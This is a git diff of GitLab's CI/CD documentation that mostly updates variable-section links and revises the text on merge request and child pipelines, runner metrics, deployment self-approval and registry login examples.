diff options
Diffstat (limited to 'doc/ci')
45 files changed, 964 insertions, 873 deletions
diff --git a/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md b/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md index 4a6b96736df..920e7cca2cb 100644 --- a/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md +++ b/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md @@ -210,7 +210,7 @@ Do not share the secret access key in a public place. You must save it in a secu ### Setup credentials in GitLab to let pipeline jobs access to ECS -You can register the access information in [GitLab Environment Variables](../../variables/index.md#custom-cicd-variables). +You can register the access information in [GitLab CI/CD Variables](../../variables/index.md). These variables are injected into the pipeline jobs and can access the ECS API. 1. Go to **ecs-demo** project on GitLab. diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md index bd9276275a7..a8826a6fdb5 100644 --- a/doc/ci/cloud_deployment/index.md +++ b/doc/ci/cloud_deployment/index.md @@ -31,7 +31,7 @@ After you set up authentication, you can configure CI/CD to deploy. | `AWS_SECRET_ACCESS_KEY` | Your secret access key. | | `AWS_DEFAULT_REGION` | Your region code. You might want to confirm that the AWS service you intend to use is [available in the chosen region](https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/). | -1. Variables are [protected by default](../variables/index.md#protected-cicd-variables). +1. Variables are [protected by default](../variables/index.md#protect-a-cicd-variable). To use GitLab CI/CD with branches or tags that are not protected, clear the **Protect variable** checkbox. @@ -190,7 +190,7 @@ To deploy to EC2, complete the following steps. ``` - If you do not want these JSON objects saved in your repository, add each object - as a separate [file type CI/CD variable](../variables/index.md#cicd-variable-types) + as a separate [file type CI/CD variable](../variables/index.md#use-file-type-cicd-variables) in the project settings. Use the same variable names as above. 1. In your `.gitlab-ci.yml` file, create a CI/CD variable for the name of the stack. For example: diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index ea62133cb7f..20bdd059a85 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -857,10 +857,10 @@ build: BUILDAH_FORMAT: docker # You may need this workaround for some errors: https://stackoverflow.com/a/70438141/1233435 BUILDAH_ISOLATION: chroot - FQ_IMAGE_NAME: "${CI_REGISTRY_IMAGE}/test" + FQ_IMAGE_NAME: "$CI_REGISTRY_IMAGE/test" before_script: # Log in to the GitLab container registry - - export REGISTRY_AUTH_FILE=${HOME}/auth.json + - export REGISTRY_AUTH_FILE=$HOME/auth.json - echo "$CI_REGISTRY_PASSWORD" | buildah login -u "$CI_REGISTRY_USER" --password-stdin $CI_REGISTRY script: - buildah images @@ -872,7 +872,7 @@ build: ## Use the GitLab Container Registry After you've built a Docker image, you can push it up to the built-in -[GitLab Container Registry](../../user/packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd). +[GitLab Container Registry](../../user/packages/container_registry/build_and_push_images.md#use-gitlab-cicd). ## Troubleshooting diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md index 37b9ea87d7a..b19e65ee396 100644 --- a/doc/ci/docker/using_kaniko.md +++ b/doc/ci/docker/using_kaniko.md @@ -73,7 +73,7 @@ If you authenticate against the [Dependency Proxy](../../user/packages/dependenc you must add the corresponding CI/CD variables for authentication to the `config.json` file: ```yaml -- echo "{\"auths\":{\"$CI_REGISTRY\":{\"auth\":\"$(printf "%s:%s" "${CI_REGISTRY_USER}" "${CI_REGISTRY_PASSWORD}" | base64 | tr -d '\n')\"},\"$CI_DEPENDENCY_PROXY_SERVER\":{\"auth\":\"$(printf "%s:%s" ${CI_DEPENDENCY_PROXY_USER} "${CI_DEPENDENCY_PROXY_PASSWORD}" | base64 | tr -d '\n')\"}}}" > /kaniko/.docker/config.json +- echo "{\"auths\":{\"${CI_REGISTRY}\":{\"auth\":\"$(printf "%s:%s" "${CI_REGISTRY_USER}" "${CI_REGISTRY_PASSWORD}" | base64 | tr -d '\n')\"},\"$CI_DEPENDENCY_PROXY_SERVER\":{\"auth\":\"$(printf "%s:%s" ${CI_DEPENDENCY_PROXY_USER} "${CI_DEPENDENCY_PROXY_PASSWORD}" | base64 | tr -d '\n')\"}}}" > /kaniko/.docker/config.json ``` ### Building an image with kaniko behind a proxy diff --git a/doc/ci/environments/deployment_approvals.md b/doc/ci/environments/deployment_approvals.md index a4815a85bc1..a95c47ca4b0 100644 --- a/doc/ci/environments/deployment_approvals.md +++ b/doc/ci/environments/deployment_approvals.md @@ -113,6 +113,23 @@ NOTE: To protect, update, or unprotect an environment, you must have at least the Maintainer role. +### Optional settings + +#### Allow self-approval + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381418) in GitLab 15.8. + +By default, a user who triggered a deployment pipeline can't self-approve the deployment jobs. +You can allow the self-approval by the following settings: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **Protected environments**. +1. From the **Approval options**, check **Allow pipeline triggerer to approve deployment**. + +By enabling this, when a pipeline runs, deployment jobs will automatically be approved in the pipeline +if the triggerer is allowed to approve, otherwise nothing happens. + ## Approve or reject a deployment > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/342180/) in GitLab 14.9 diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md index 1e4eb54c559..cf82238564e 100644 --- a/doc/ci/environments/deployment_safety.md +++ b/doc/ci/environments/deployment_safety.md @@ -130,7 +130,7 @@ ensure that deployments do not happen unexpectedly. Production secrets are needed to deploy successfully. For example, when deploying to the cloud, cloud providers require these secrets to connect to their services. In the project settings, you can -define and protect CI/CD variables for these secrets. [Protected variables](../variables/index.md#protected-cicd-variables) +define and protect CI/CD variables for these secrets. [Protected variables](../variables/index.md#protect-a-cicd-variable) are only passed to pipelines running on [protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines don't get the protected variable. You can also diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md index 0c412c85e47..514a0b255c5 100644 --- a/doc/ci/environments/index.md +++ b/doc/ci/environments/index.md @@ -436,6 +436,8 @@ There are multiple ways to clean up [dynamic environments](#create-a-dynamic-env - If you do _NOT_ use [merge request pipelines](../pipelines/merge_request_pipelines.md), GitLab stops an environment [when the associated feature branch is deleted](#stop-an-environment-when-a-branch-is-deleted). - If you set [an expiry period to an environment](../yaml/index.md#environmentauto_stop_in), GitLab stops an environment [when it's expired](#stop-an-environment-after-a-certain-time-period). +To stop stale environments, you can [use the API](../../api/environments.md#stop-stale-environments). + #### Stop an environment when a branch is deleted You can configure environments to stop when a branch is deleted. @@ -534,10 +536,6 @@ Also in the example, `GIT_STRATEGY` is set to `none`. If the `stop_review_app` job is [automatically triggered](../environments/index.md#stop-an-environment), the runner won't try to check out the code after the branch is deleted. -The example also overwrites global variables. If your `stop` `environment` job depends -on global variables, use [anchor variables](../yaml/yaml_optimization.md#yaml-anchors-for-variables) when you set the `GIT_STRATEGY` -to change the job without overriding the global variables. - The `stop_review_app` job **must** have the following keywords defined: - `when`, defined at either: @@ -926,12 +924,17 @@ NOTE: GitLab preserves all commits as [`keep-around` refs](../../user/project/repository/reducing_the_repo_size_using_git.md) so that deployed commits are not garbage collected, even if it's not referenced by the deployment refs. -### Scope environments with specs +### Limit the environment scope of a CI/CD variable > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2112) in GitLab Premium 9.4. > - Environment scoping for CI/CD variables was [moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30779) from GitLab Premium to GitLab Free in 12.2. > - Environment scoping for Group CI/CD variables [added](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) to GitLab Premium in 13.11. +By default, all [CI/CD variables](../variables/index.md) are available to any job in a pipeline. Therefore, if a project uses a +compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is +a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting +the environment scope of a variable. + You can limit the environment scope of a CI/CD variable by defining which environments it can be available for. For example, if the environment scope is `production`, then only the jobs @@ -943,10 +946,6 @@ any job can have this variable, regardless of whether an environment is defined. If the environment scope is `review/*`, then jobs with environment names starting with `review/` would have that variable available. -Some GitLab features can behave differently for each environment. -For example, you can -[create a project CI/CD variable to be injected only into a production environment](../variables/index.md#limit-the-environment-scope-of-a-cicd-variable). - In most cases, these features use the _environment specs_ mechanism, which offers an efficient way to implement scoping in each environment group. diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md index 638bcf77967..b72ee9b388f 100644 --- a/doc/ci/environments/protected_environments.md +++ b/doc/ci/environments/protected_environments.md @@ -210,7 +210,7 @@ configured: This ensures that only operators can configure the organization-wide deployment ruleset. - Developers should be given no more than the Developer role - for the top-level group, or explicitly given the Owner role for a child project + for the top-level group, or explicitly given the Owner role for a child project. They do *not* have access to the CI/CD configurations in the top-level group, so operators can ensure that the critical configuration won't be accidentally changed by the developers. diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md index 28016216dbb..062bd602c29 100644 --- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md +++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md @@ -67,7 +67,7 @@ This test will be used later for continuously testing our app with GitLab CI/CD. ### Push to GitLab Since we have our app up and running locally, it's time to push the codebase to our remote repository. -Let's create [a new project](../../../user/project/working_with_projects.md#create-a-project) in GitLab named `laravel-sample`. +Let's create [a new project](../../../user/project/index.md#create-a-project) in GitLab named `laravel-sample`. After that, follow the command line instructions displayed on the project's homepage to initiate the repository on our machine and push the first commit. ```shell diff --git a/doc/ci/index.md b/doc/ci/index.md index ddc9ba5d475..63db23f8c48 100644 --- a/doc/ci/index.md +++ b/doc/ci/index.md @@ -35,7 +35,7 @@ read the [Introduction to CI/CD with GitLab](introduction/index.md). Video demonstration of continuous integration with GitLab CI/CD: <a href="https://www.youtube.com/watch?v=ljth1Q5oJoo">Continuous Integration with GitLab (overview demo)</a>. </div> <figure class="video-container"> - <iframe src="https://www.youtube.com/embed/ljth1Q5oJoo" frameborder="0" allowfullscreen="true"> </iframe> + <iframe src="https://www.youtube-nocookie.com/embed/ljth1Q5oJoo" frameborder="0" allowfullscreen> </iframe> </figure> ## Concepts diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md index ccf7ebccb2c..e62c38fc1ec 100644 --- a/doc/ci/introduction/index.md +++ b/doc/ci/introduction/index.md @@ -20,15 +20,13 @@ The three primary approaches for the continuous method are: - [Continuous Delivery](#continuous-delivery) - [Continuous Deployment](#continuous-deployment) -NOTE: Out-of-the-box management systems can decrease hours spent on maintaining toolchains by 10% or more. Watch our ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/) webcast to learn about continuous methods and how built-in GitLab CI/CD can help you simplify and scale software development. -> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Learn how to [configure CI/CD](https://www.youtube.com/embed/opdLqwz6tcE). -> - [Make the case for CI/CD in your organization](https://about.gitlab.com/devops-tools/github-vs-gitlab/). -> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Learn how [Verizon reduced rebuilds](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/) -> from 30 days to under 8 hours with GitLab. +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>Learn how to: [configure CI/CD](https://www.youtube.com/watch?v=opdLqwz6tcE). +- [Make the case for CI/CD in your organization](https://about.gitlab.com/devops-tools/github-vs-gitlab/). +- Learn how [Verizon reduced rebuilds](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/) from 30 days to under 8 hours with GitLab. ## Continuous Integration diff --git a/doc/ci/jobs/ci_job_token.md b/doc/ci/jobs/ci_job_token.md index d95451a67dc..4ae4456c56c 100644 --- a/doc/ci/jobs/ci_job_token.md +++ b/doc/ci/jobs/ci_job_token.md @@ -14,7 +14,7 @@ You can use a GitLab CI/CD job token to authenticate with specific API endpoints - Packages: - [Package Registry](../../user/packages/package_registry/index.md#use-gitlab-cicd-to-build-packages). - [Packages API](../../api/packages.md) (project-level). - - [Container Registry](../../user/packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd) + - [Container Registry](../../user/packages/container_registry/build_and_push_images.md#use-gitlab-cicd) (the `$CI_REGISTRY_PASSWORD` is `$CI_JOB_TOKEN`). - [Container Registry API](../../api/container_registry.md) (scoped to the job's project, when the `ci_job_token_scope` feature flag is enabled). diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md index 15ec92a896e..753a755cbf3 100644 --- a/doc/ci/jobs/index.md +++ b/doc/ci/jobs/index.md @@ -114,8 +114,10 @@ You can't use these keywords as job names: Job names must be 255 characters or fewer. -Use unique names for your jobs. If multiple jobs have the same name, +Use unique names for your jobs. If multiple jobs have the same name in a file, only one is added to the pipeline, and it's difficult to predict which one is chosen. +If the same job name is used in one or more included files, +[parameters are merged](../yaml/includes.md#override-included-configuration-values). ## Group jobs in a pipeline @@ -267,10 +269,10 @@ You can do this from the job page of the manual job you want to run with additional variables. To access this page, select the **name** of the manual job in the pipeline view, *not* the play (**{play}**) button. -This is useful when you want to alter the execution of a job that uses -[custom CI/CD variables](../variables/index.md#custom-cicd-variables). -Add a variable name (key) and value here to override the value defined in -[the UI or `.gitlab-ci.yml`](../variables/index.md#custom-cicd-variables), +Define CI/CD variables here when you want to alter the execution of a job that uses +[CI/CD variables](../variables/index.md). +Add a variable name (key) and value to [override the value](../variables/index.md#override-a-defined-cicd-variable) +defined in the UI or `.gitlab-ci.yml` for a single run of the manual job.  diff --git a/doc/ci/jobs/job_control.md b/doc/ci/jobs/job_control.md index d26c698af89..3cd57ff6a6a 100644 --- a/doc/ci/jobs/job_control.md +++ b/doc/ci/jobs/job_control.md @@ -125,7 +125,7 @@ job: rules: - if: $CI_COMMIT_BRANCH changes: - compare_to: refs/heads/main + compare_to: 'refs/heads/main' paths: - '*' ``` @@ -315,7 +315,7 @@ Other commonly used variables for `if` clauses: - `if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $CI_COMMIT_TITLE =~ /Merge branch.*/`: If the commit branch is the default branch and the commit message title matches a regular expression. For example, the default commit message for a merge commit starts with `Merge branch`. -- `if: $CUSTOM_VARIABLE !~ /regex-expression/`: If the [custom variable](../variables/index.md#custom-cicd-variables) +- `if: $CUSTOM_VARIABLE !~ /regex-expression/`: If the [custom variable](../variables/index.md) `CUSTOM_VARIABLE` does **not** match a regular expression. - `if: $CUSTOM_VARIABLE == "value1"`: If the custom variable `CUSTOM_VARIABLE` is exactly `value1`. @@ -754,7 +754,6 @@ deploystacks: STACK: [monitoring, backup] - PROVIDER: [gcp, vultr] STACK: [data] - environment: $PROVIDER/$STACK ``` This example generates 6 parallel `deploystacks` trigger jobs, each with different values @@ -986,8 +985,11 @@ Expressions evaluate as `true` if: For example: -- `$VARIABLE =~ /^content.*/` -- `$VARIABLE_1 !~ /^content.*/` +- `if: $VARIABLE =~ /^content.*/` +- `if: $VARIABLE !~ /^content.*/` + +Single-character regular expressions, like `/./`, are not supported and +produce an `invalid expression syntax` error. Pattern matching is case-sensitive by default. Use the `i` flag modifier to make a pattern case-insensitive. For example: `/pattern/i`. diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md index 034c8ba5ad6..c1e9f97a169 100644 --- a/doc/ci/migration/circleci.md +++ b/doc/ci/migration/circleci.md @@ -268,7 +268,7 @@ test_async: ## Contexts and variables -CircleCI provides [Contexts](https://circleci.com/docs/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/index.md#add-a-cicd-variable-to-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. +CircleCI provides [Contexts](https://circleci.com/docs/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/index.md#for-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. ## Orbs diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index 235dd0e80ca..63e9993be90 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -21,7 +21,7 @@ that were able to quickly complete this migration: 1. Educate and enable your developers to independently perform the following steps in their projects: 1. Review the [Quick Start Guide](../quick_start/index.md) and [Pipeline Configuration Reference](../yaml/index.md). 1. Use the [Jenkins Wrapper](#jenkinsfile-wrapper) to temporarily maintain fragile Jenkins jobs. - 1. Migrate the build and CI jobs and configure them to show results directly in your merge requests. They can use [Auto DevOps](../../topics/autodevops/index.md) as a starting point, and [customize](../../topics/autodevops/customize.md) or [decompose](../../topics/autodevops/customize.md#using-components-of-auto-devops) the configuration as needed. + 1. Migrate the build and CI jobs and configure them to show results directly in your merge requests. They can use [Auto DevOps](../../topics/autodevops/index.md) as a starting point, and [customize](../../topics/autodevops/customize.md) or [decompose](../../topics/autodevops/customize.md#use-individual-components-of-auto-devops) the configuration as needed. 1. Add [Review Apps](../review_apps/index.md). 1. Migrate the deployment jobs using [cloud deployment templates](../cloud_deployment/index.md), adding [environments](../environments/index.md), and [deploy boards](../../user/project/deploy_boards.md). 1. Work to unwrap any jobs still running with the use of the Jenkins wrapper. @@ -308,7 +308,7 @@ my_job: In GitLab, we use the [`variables` keyword](../yaml/index.md#variables) to define different variables at runtime. These can also be set up through the GitLab UI, under CI/CD settings. See also our [general documentation on variables](../variables/index.md), -including the section on [protected variables](../variables/index.md#protected-cicd-variables). This can be used +including the section on [protected variables](../variables/index.md#protect-a-cicd-variable). This can be used to limit access to certain variables to certain environments or runners: ```yaml diff --git a/doc/ci/pipelines/cicd_minutes.md b/doc/ci/pipelines/cicd_minutes.md index d9ad224ab95..e69c510291d 100644 --- a/doc/ci/pipelines/cicd_minutes.md +++ b/doc/ci/pipelines/cicd_minutes.md @@ -216,9 +216,10 @@ The cost factors on self-managed instances are: #### Cost factor for community contributions to GitLab projects -Community contributors can use up to 300,000 minutes on shared runners when -contributing to open source projects maintained by GitLab. The 300,000 -minutes applies to all SaaS tiers, and the cost factor calculation is: +Community contributors can use up to 300,000 minutes on shared runners when contributing to open source projects +maintained by GitLab. The maximum of 300,000 minutes would only be possible if contributing exclusively to projects [part of the GitLab product](https://about.gitlab.com/handbook/engineering/metrics/#projects-that-are-part-of-the-product). The total number of minutes available on shared runners +is reduced by the CI/CD minutes used by pipelines from other projects. +The 300,000 minutes applies to all SaaS tiers, and the cost factor calculation is: - `Monthly minute quota / 300,000 job duration minutes = Cost factor` @@ -255,9 +256,9 @@ calculations start again from `0`. For example, if you have a monthly quota of `10,000` CI/CD minutes: -- On **1st April**, you have `10,000` minutes. +- On **April 1**, you have `10,000` minutes. - During April, you use only `6,000` of the `10,000` minutes. -- On **1st May**, the accumulated usage of minutes resets to `0`, and you have `10,000` minutes to use again +- On **May 1**, the accumulated usage of minutes resets to `0`, and you have `10,000` minutes to use again during May. Usage data for the previous month is kept to show historical view of the consumption over time. @@ -269,9 +270,9 @@ the next month. For example: -- On **1st April**, you purchase `5,000` additional CI/CD minutes. +- On **April 1**, you purchase `5,000` additional CI/CD minutes. - During April, you use only `3,000` of the `5,000` additional minutes. -- On **1st May**, the unused minute roll over, so you have `2,000` additional minutes available for May. +- On **May 1**, the unused minute roll over, so you have `2,000` additional minutes available for May. Additional CI/CD minutes are a one-time purchase and do not renew or refresh each month. diff --git a/doc/ci/pipelines/downstream_pipelines.md b/doc/ci/pipelines/downstream_pipelines.md index 6c17c23552d..1ada4c4fac1 100644 --- a/doc/ci/pipelines/downstream_pipelines.md +++ b/doc/ci/pipelines/downstream_pipelines.md @@ -244,21 +244,25 @@ To trigger a child pipeline as a [merge request pipeline](merge_request_pipeline ``` 1. Configure the child pipeline jobs to run in merge request pipelines with [`rules`](../yaml/index.md#rules) - or [`workflow:rules`](../yaml/index.md#workflowrules). For example, with `rules` - in a child pipeline's configuration file: + or [`workflow:rules`](../yaml/index.md#workflowrules). + For example, with `rules` in a child pipeline's configuration file: ```yaml job1: - script: ... + script: echo "Child pipeline job 1" rules: - - if: $CI_PIPELINE_SOURCE == "merge_request_event" + - if: $CI_MERGE_REQUEST_ID job2: - script: ... + script: echo "Child pipeline job 2" rules: - - if: $CI_PIPELINE_SOURCE == "merge_request_event" + - if: $CI_MERGE_REQUEST_ID ``` + In child pipelines, `$CI_PIPELINE_SOURCE` always has a value of `parent_pipeline` + and cannot be used to identify merge request pipelines. Use `$CI_MERGE_REQUEST_ID` + instead, which is always present in merge request pipelines. + ### Specify a branch for multi-project pipelines You can specify the branch to use when triggering a multi-project pipeline. GitLab uses diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md index ab98bab022e..324a2fa3ef9 100644 --- a/doc/ci/pipelines/index.md +++ b/doc/ci/pipelines/index.md @@ -75,7 +75,7 @@ You can also configure specific aspects of your pipelines through the GitLab UI. - [Pipeline settings](settings.md) for each project. - [Pipeline schedules](schedules.md). -- [Custom CI/CD variables](../variables/index.md#custom-cicd-variables). +- [Custom CI/CD variables](../variables/index.md#for-a-project). ### Ref specs for runners @@ -156,7 +156,7 @@ The pipeline now executes the jobs as configured. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) in GitLab 13.7. You can use the [`description` and `value`](../yaml/index.md#variablesdescription) -keywords to define [pipeline-level (global) variables](../variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file) +keywords to [define pipeline-level (global) variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file) that are prefilled when running a pipeline manually. Use the description to explain information such as what the variable is used for, and what the acceptable values are. diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md index cc26ede5f6e..bd788cfd3eb 100644 --- a/doc/ci/pipelines/job_artifacts.md +++ b/doc/ci/pipelines/job_artifacts.md @@ -410,7 +410,7 @@ This message is often preceded by other errors or warnings that specify the file generated. Check the job log for these messages. If you find no helpful messages, retry the failed job after activating -[CI/CD debug logging](../variables/index.md#debug-logging). +[CI/CD debug logging](../variables/index.md#enable-debug-logging). This logging should provide information to help you investigate further. ### Error message `Missing /usr/bin/gitlab-runner-helper. Uploading artifacts is disabled.` diff --git a/doc/ci/pipelines/merge_request_pipelines.md b/doc/ci/pipelines/merge_request_pipelines.md index 714e96d7954..7e18c11f234 100644 --- a/doc/ci/pipelines/merge_request_pipelines.md +++ b/doc/ci/pipelines/merge_request_pipelines.md @@ -20,20 +20,20 @@ Branch pipelines: - Run when you push a new commit to a branch. - Are the default type of pipeline. - Have access to [some predefined variables](../variables/predefined_variables.md). -- Have access to [protected variables](../variables/index.md#protected-cicd-variables) and [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information). +- Have access to [protected variables](../variables/index.md#protect-a-cicd-variable) and [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information). Merge request pipelines: -- Run when you: +- **Do not run by default**. The jobs in the CI/CD configuration file [must be configured](#prerequisites) + to run in merge request pipelines. +- If configured, merge request pipelines run when you: - Create a new merge request from a source branch with one or more commits. - Push a new commit to the source branch for a merge request. - Select **Run pipeline** from the **Pipelines** tab in a merge request. This option is only available when merge request pipelines are configured for the pipeline and the source branch has at least one commit. -- Do not run by default. The jobs in the CI/CD configuration file [must be configured](#prerequisites) - to run in merge request pipelines. - Have access to [more predefined variables](#available-predefined-variables). -- Do not have access to [protected variables](../variables/index.md#protected-cicd-variables) or [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information). +- Do not have access to [protected variables](../variables/index.md#protect-a-cicd-variable) or [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information). Both of these types of pipelines can appear on the **Pipelines** tab of a merge request. diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md index 423ee31dec4..cd696d816d7 100644 --- a/doc/ci/pipelines/settings.md +++ b/doc/ci/pipelines/settings.md @@ -32,7 +32,7 @@ To change the visibility of your pipelines and related features: When it is selected, pipelines and related features are visible: - For [**Public**](../../user/public_access.md) projects, to everyone. - - For **Internal** projects, to all logged-in users except [external users](../../user/admin_area/external_users.md). + - For **Internal** projects, to all authenticated users except [external users](../../user/admin_area/external_users.md). - For **Private** projects, to all project members (Guest or higher). When it is cleared: @@ -41,7 +41,7 @@ To change the visibility of your pipelines and related features: and the **CI/CD** menu items are visible only to project members (Reporter or higher). Other users, including guest users, can only view the status of pipelines and jobs, and only when viewing merge requests or commits. - - For **Internal** projects, pipelines are visible to all logged in users except [external users](../../user/admin_area/external_users.md). + - For **Internal** projects, pipelines are visible to all authenticated users except [external users](../../user/admin_area/external_users.md). Related features are visible only to project members (Reporter or higher). - For **Private** projects, pipelines and related features are visible to project members (Reporter or higher) only. @@ -343,6 +343,7 @@ Depending on the status of your pipeline, a badge can have the following values: - `passed` - `failed` - `skipped` +- `manual` - `canceled` - `unknown` diff --git a/doc/ci/quick_start/index.md b/doc/ci/quick_start/index.md index 8d71f4569e5..b9e0e39396c 100644 --- a/doc/ci/quick_start/index.md +++ b/doc/ci/quick_start/index.md @@ -138,11 +138,8 @@ For the complete `.gitlab-ci.yml` syntax, see [the full `.gitlab-ci.yml` keyword - Use the [pipeline editor](../pipeline_editor/index.md) to edit your `.gitlab-ci.yml` file. - Each job contains a script section and belongs to a stage: - - The [`default`](../yaml/index.md#default) keyword is for - custom defaults, for example with [`before_script`](../yaml/index.md#before_script) - and [`after_script`](../yaml/index.md#after_script). - [`stage`](../yaml/index.md#stage) describes the sequential execution of jobs. - Jobs in a single stage run in parallel as long as there are available runners. + If there are runners available, jobs in a single stage run in parallel. - Use the [`needs` keyword](../yaml/index.md#needs) to run jobs out of stage order. This creates a [Directed Acyclic Graph (DAG)](../directed_acyclic_graph/index.md). - You can set additional configuration to customize how your jobs and stages perform: @@ -152,6 +149,10 @@ For the complete `.gitlab-ci.yml` syntax, see [the full `.gitlab-ci.yml` keyword - Keep information across jobs and stages persistent in a pipeline with [`cache`](../yaml/index.md#cache) and [`artifacts`](../yaml/index.md#artifacts). These keywords are ways to store dependencies and job output, even when using ephemeral runners for each job. + - Use the [`default`](../yaml/index.md#default) keyword to specify additional + configurations that are applied to all jobs. This keyword is often used to define + [`before_script`](../yaml/index.md#before_script) and [`after_script`](../yaml/index.md#after_script) + sections that should run on every job. ## Related topics diff --git a/doc/ci/runners/configure_runners.md b/doc/ci/runners/configure_runners.md index b61e11dd8bc..28a856e3dda 100644 --- a/doc/ci/runners/configure_runners.md +++ b/doc/ci/runners/configure_runners.md @@ -159,7 +159,7 @@ To view the IP address of a shared runner you must have administrator access to the GitLab instance. To determine this: 1. On the top bar, select **Main menu > Admin**. -1. On the left sidebar, select **Overview > Runners**. +1. On the left sidebar, select **CI/CD > Runners**. 1. Find the runner in the table and view the **IP Address** column.  @@ -637,13 +637,12 @@ test: - pwd ``` -The `GIT_CLONE_PATH` has to always be within `$CI_BUILDS_DIR`. The directory set in `$CI_BUILDS_DIR` +The `GIT_CLONE_PATH` must always be within `$CI_BUILDS_DIR`. The directory set in `$CI_BUILDS_DIR` is dependent on executor and configuration of [runners.builds_dir](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) setting. This can only be used when `custom_build_dir` is enabled in the [runner's configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscustom_build_dir-section). -This is the default configuration for the `docker` and `kubernetes` executors. #### Handling concurrency @@ -968,6 +967,24 @@ To determine which runners need to be upgraded: 1. Filter the list by status to view which individual runners need to be upgraded. +## View statistics for runner performance **(ULTIMATE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/377963) in GitLab 15.8. + +As an administrator, you can view runner statistics to learn about the performance of your runner fleet. + +1. Select **Main menu > Admin**. +1. On the left sidebar, select **CI/CD > Runners**. +1. Select **View metrics**. + +The **Median job queued time** value is calculated by sampling the queue duration of the +most recent 100 jobs that were run by Instance runners. Jobs from only the latest 5000 +runners are considered. + +The median is a value that falls into the 50th percentile: half of the jobs +queued for longer than the median value, and half of the jobs queued for less than the +median value. + ## Authentication token security > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30942) in GitLab 15.3 [with a flag](../../administration/feature_flags.md) named `enforce_runner_token_expires_at`. Disabled by default. diff --git a/doc/ci/runners/saas/linux_saas_runner.md b/doc/ci/runners/saas/linux_saas_runner.md index 61421f86ff5..9c380886812 100644 --- a/doc/ci/runners/saas/linux_saas_runner.md +++ b/doc/ci/runners/saas/linux_saas_runner.md @@ -105,7 +105,7 @@ can be used for: - Downloading assets from a CDN - Any other commands that must run before the `git init` -To use this feature, define a [CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables) called +To use this feature, define a [CI/CD variable](../../../ci/variables/index.md) called `CI_PRE_CLONE_SCRIPT` that contains a bash script. NOTE: diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md index bfc53210348..ba12508beeb 100644 --- a/doc/ci/secrets/index.md +++ b/doc/ci/secrets/index.md @@ -83,7 +83,7 @@ To configure your Vault server: 1. Configure roles on your Vault server, restricting roles to a project or namespace, as described in [Configure Vault server roles](#configure-vault-server-roles) on this page. -1. [Create the following CI/CD variables](../variables/index.md#custom-cicd-variables) +1. [Create the following CI/CD variables](../variables/index.md#for-a-project) to provide details about your Vault server: - `VAULT_SERVER_URL` - The URL of your Vault server, such as `https://vault.example.com:8200`. Required. @@ -119,7 +119,7 @@ In this example: After GitLab fetches the secret from Vault, the value is saved in a temporary file. The path to this file is stored in a CI/CD variable named `DATABASE_PASSWORD`, -similar to [variables 